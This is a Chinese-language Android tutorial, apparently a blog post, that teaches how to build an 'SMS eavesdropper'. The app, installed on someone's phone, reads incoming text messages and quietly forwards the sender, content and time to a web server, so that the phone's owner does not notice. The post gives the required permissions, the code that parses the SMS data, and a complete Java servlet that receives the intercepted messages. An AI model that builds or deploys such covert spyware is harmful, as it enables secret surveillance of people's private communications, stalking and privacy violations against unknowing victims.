Android入门：广播接收者应用（短信窃听器）

一、短信窃听器原理介绍

短信窃听器的目的是窃听某人发送的短信，比如我们在A的手机中安装了此应用想要看B发送给A的短信；

而怎么样才能够获得短信息呢？如果通过短信方式发送给第三方，则会被看出来，因此我们可以通过网络将消息发送给web服务器；

Android手机中的Messaging应用也只是一个普通的应用；

二、核心代码

短信窃听器客户端核心代码

在AndroidManifest.xml中添加权限：

[html] view
plaincopy

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->

<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->

(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据

(2)byte[] pdu = (byte[])pdus[0];

(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage

(4)String content = message.getMessageBody();获得短信内容

(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间

(6)String senderNumber = message.getOriginatingAddress();获得发送方号码

服务器端代码只是接收参数并显示；

三、短信窃听器具体代码

服务器端代码



[java] view
plaincopy

package org.xiazdong.servlet;

import java.io.IOException;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

@WebServlet("/SMSServlet")

public class SMSServlet extends HttpServlet {

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

doPost(request, response);

}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

request.setCharacterEncoding("utf-8");

String sender = request.getParameter("sender");

String body = request.getParameter("body");

String time = request.getParameter("time");

System.out.println("发送方："+sender);

System.out.println("发送内容："+body);

System.out.println("发送时间："+time);

}

}
